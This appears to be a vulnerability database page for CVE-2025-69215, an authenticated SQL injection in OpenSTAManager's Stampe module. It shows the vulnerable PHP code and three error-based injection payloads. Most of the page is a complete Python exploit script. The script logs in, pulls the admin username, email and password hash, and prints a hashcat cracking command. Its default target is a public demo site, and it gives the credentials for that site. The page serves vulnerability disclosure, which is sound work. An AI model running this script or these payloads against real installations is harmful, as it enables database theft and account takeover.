Loading...
Skip to main content

CVE-2025-69215

HIGH

OpenSTAManager has an SQL Injection in the Stampe Module

Published February 3, 2026Updated February 4, 2026Source: osv

Summary

## Vulnerability Details ### Location - **File:** `modules/stampe/actions.php` - **Line:** 26 - **Vulnerable Code:** ```php case 'update': if (!empty(intval(post('predefined'))) && !empty(post('module'))) { $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module')); // ↑ Direct concatenation without prepare() sanitization } ``` ### Root Cause The `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection. **Vulnerable Pattern:** ```php // Line 25: intval() protects predefined, but module is not sanitized! if (!empty(intval(post('predefined'))) && !empty(post('module'))) { // Line 26: Direct concatenation - VULNERABLE $dbo->query('UPDATE ... WHERE `id_module` = '.post('module')); } ``` ## Exploitation ### Vulnerable Endpoint ``` POST /modules/stampe/actions.php ``` ### Required Parameters ``` op=update id_record=1 predefined=1 (must be non-zero after intval()) module=[INJECTION_PAYLOAD] title=Test filename=test.pdf ``` ### Authentication Requirement - Requires valid authenticated session (any user with access to Stampe module) - **VERIFIED:** Users with "Tecnici" group access can exploit (NOT admin-only!) - **PoC:** Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico ### Exploitation Type **Error-based SQL Injection** using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions ### Proof of Concept #### Method 1: EXTRACTVALUE (MySQL 5.1+) ```python POST /modules/stampe/actions.php Content-Type: application/x-www-form-urlencoded op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf ``` **Result:** <img width="2208" height="912" alt="image" src="https://github.com/user-attachments/assets/710595e8-5cfb-4392-87a5-0b567487af34" /> **Extracted Data:** MySQL version `8.3.0` --- #### Method 2: GTID_SUBSET (MySQL 5.6+) ```python module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1) ``` **Result:** <img width="2025" height="903" alt="image" src="https://github.com/user-attachments/assets/eb2b4210-5301-4b3c-81b0-495eaec27af8" /> **Extracted Data:** Database name `openstamanager` --- #### Method 3: UPDATEXML (MySQL 5.1+) ```python module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1) ``` **Result:** <img width="2027" height="897" alt="image" src="https://github.com/user-attachments/assets/a364951d-566b-4c86-9467-35352bd22c43" /> **Extracted Data:** Database user `demo_osm@web01.osmbusiness.it` --- ### Automated Exploitation **Full Exploit Script:** `exploit_stampe_sqli.py` ```python #!/usr/bin/env python3 """ SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php Usage: python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local """ import requests import re import argparse import sys from html import unescape from urllib.parse import urljoin class StampeSQLiExploit: def __init__(self, base_url, username, password, verbose=False): self.base_url = base_url.rstrip('/') self.username = username self.password = password self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' }) def login(self): """Authenticate with username and password""" login_url = urljoin(self.base_url, '/index.php') if self.verbose: print(f"[DEBUG] Attempting login to {login_url}") print(f"[DEBUG] Username: {self.username}") # First, get the login page to establish session resp = self.session.get(login_url) if self.verbose: print(f"[DEBUG] Initial GET status: {resp.status_code}") # Send login credentials with op=login parameter (required!) login_data = { 'username': self.username, 'password': self.password, 'op': 'login', # Required for OpenSTAManager } resp = self.session.post(login_url, data=login_data, allow_redirects=True) if self.verbose: print(f"[DEBUG] Login POST status: {resp.status_code}") print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}") # Check if login was successful if 'PHPSESSID' not in self.session.cookies: print("[-] Login failed: No session cookie received") return False # Check if we're redirected to dashboard or still on login page if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower(): print("[-] Login failed: Still on login page") if self.verbose: print(f"[DEBUG] Current URL: {resp.url}") return False print(f"[+] Successfully logged in as '{self.username}'") print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}") return True def inject(self, sql_query): """Execute SQL injection payload""" # Use UPDATEXML instead of EXTRACTVALUE (works better on demo) payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)" target_url = urljoin(self.base_url, '/modules/stampe/actions.php') if self.verbose: print(f"[DEBUG] Target: {target_url}") print(f"[DEBUG] Payload: {payload}") response = self.session.post( target_url, data={ "op": "update", "id_record": "1", "predefined": "1", "module": payload, "title": "Test", "filename": "test.pdf" } ) if self.verbose: print(f"[DEBUG] Response status: {response.status_code}") print(f"[DEBUG] Response length: {len(response.text)}") # Unescape HTML entities first response_text = unescape(response.text) # Pattern 1: XPATH syntax error with HTML entities or quotes # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039; xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE) if xpath_match: result = xpath_match.group(1) if self.verbose: print(f"[DEBUG] Extracted via XPATH pattern: {result}") return result # Pattern 2: Look in HTML comments (demo puts errors in comments) # <!--...XPATH syntax error: '~data~'...--> comment_match = re.search(r"<!--.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?.*?-->", response_text, re.DOTALL | re.IGNORECASE) if comment_match: result = comment_match.group(1) if self.verbose: print(f"[DEBUG] Extracted from HTML comment: {result}") return result # Pattern 3: <code> tags codes = re.findall(r'<code>(.*?)</code>', response_text, re.DOTALL) for code in codes: clean = code.strip() if 'XPATH syntax error' in clean or 'SQLSTATE' in clean: match = re.search(r"~([^~]+)~", clean) if match: result = match.group(1) if self.verbose: print(f"[DEBUG] Extracted from <code>: {result}") return result # Pattern 4: PDOException error format (as shown in user's example) # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~' pdo_match = re.search(r"PDOException:.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE | re.DOTALL) if pdo_match: result = pdo_match.group(1) if self.verbose: print(f"[DEBUG] Extracted from PDOException: {result}") return result # Pattern 5: Generic ~...~ markers (last resort) markers = re.findall(r'~([^~]{1,100})~', response_text) if markers: if self.verbose: print(f"[DEBUG] Found generic markers: {markers}") # Filter out HTML/CSS junk for marker in markers: if marker and len(marker) > 2: # Skip common HTML patterns if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '<', '>']): if self.verbose: print(f"[DEBUG] Using marker: {marker}") return marker if self.verbose: print("[DEBUG] No data extracted from response") # Save response for debugging with open('/tmp/stampe_response_debug.html', 'w') as f: f.write(response.text) print("[DEBUG] Response saved to /tmp/stampe_response_debug.html") return None def dump_info(self): """Dump database information""" queries = [ ("Database Version", "VERSION()"), ("Database Name", "DATABASE()"), ("Current User", "USER()"), ("Admin Username", "SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1"), ("Admin Email", "SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1"), ("Admin Password Hash (1-30)", "SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"), ("Admin Password Hash (31-60)", "SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"), ("Total Users", "SELECT COUNT(*) FROM zz_users"), ("First Table", "SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1"), ] print("="*70) print(" EXPLOITING SQL INJECTION - DATA EXTRACTION") print("="*70) print() results = {} for desc, query in queries: print(f"[*] Extracting: {desc}") print(f" Query: {query}") result = self.inject(query) if result: print(f" ✓ Result: {result}") results[desc] = result else: print(f" ✗ Failed to extract") print() return results def main(): parser = argparse.ArgumentParser( description='OpenSTAManager Stampe Module SQL Injection Exploit', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=''' Examples: # Exploit demo.osmbusiness.it with tecnico user python3 %(prog)s -u tecnico -p tecnicotecnico # Exploit demo with admin credentials python3 %(prog)s -u admin -p admin123 # Exploit custom installation with verbose output python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v ''' ) parser.add_argument('-u', '--username', required=True, help='Username for authentication') parser.add_argument('-p', '--password', required=True, help='Password for authentication') parser.add_argument('--url', default='https://demo.osmbusiness.it', help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output for debugging') args = parser.parse_args() print("╔" + "="*68 + "╗") print("║ SQL Injection Exploit - OpenSTAManager Stampe Module ║") print("║ CVE-PENDING | Authenticated Error-Based SQLi ║") print("╚" + "="*68 + "╝") print() print(f"[*] Target: {args.url}") print(f"[*] Username: {args.username}") print() exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose) # Login first if not exploit.login(): print("\n[-] Authentication failed. Cannot proceed with exploitation.") print("[!] Please check:") print(" 1. Are the credentials correct?") print(" 2. Is the target URL accessible?") print(" 3. Is the user account active?") sys.exit(1) print() # Extract data results = exploit.dump_info() # Summary print("="*70) print(" EXTRACTION SUMMARY") print("="*70) print() if results: for key, value in results.items(): print(f" {key:.<40} {value}") # If we got admin password hash, combine it if "Admin Password Hash (1-30)" in results and "Admin Password Hash (31-60)" in results: full_hash = results["Admin Password Hash (1-30)"] + results["Admin Password Hash (31-60)"] print() print(" " + "="*66) print(f" Full Admin Password Hash: {full_hash}") print(" " + "="*66) print() print(" [!] Crack with hashcat:") print(f" hashcat -m 3200 '{full_hash}' wordlist.txt") else: print(" ✗ No data extracted") if not args.verbose: print("\n [!] Try running with -v flag for debugging information") if __name__ == "__main__": main() ``` ### Attribution Reported by Łukasz Rybak

Affected Packages (1)

PackageEcosystemAffectedFixed In
devcode-it/openstamanager
packagist
2.3.0, v2.4, v2.4.1, v2.4.10 (+83 more)Range-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Confidentiality
Integrity
Availability

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2025-69215?
OpenSTAManager has an SQL Injection in the Stampe Module This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2025-69215?
CVE-2025-69215 affects devcode-it/openstamanager. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-69215 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-qx9p-w3vj-q24q

Related CVEs

  • CVE-2026-24417
    HIGH

    OpenSTAManager has a Time-Based Blind SQL Injection with Amplified Denial of Service

  • CVE-2026-24419
    HIGH

    OpenSTAManager has a SQL Injection in the Prima Nota module

  • CVE-2026-24418
    HIGH

    OpenSTAManager has a SQL Injection vulnerability in the Scadenzario bulk operations module

  • CVE-2026-35470
    HIGH

    OpenSTAManager has a SQL Injection via righe Parameter in confronta_righe Modals

  • CVE-2026-24416
    HIGH

    OpenSTAManager has a Time-Based Blind SQL Injection in Article Pricing Module

  • CVE-2025-69216
    HIGH

    OpenSTAManager has a SQL Injection in Scadenzario Print Template

  • CVE-2025-69214
    HIGH

    OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint)

  • CVE-2025-69213
    HIGH

    OpenSTAManager has a SQL Injection in ajax_complete.php (get_sedi endpoint)

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies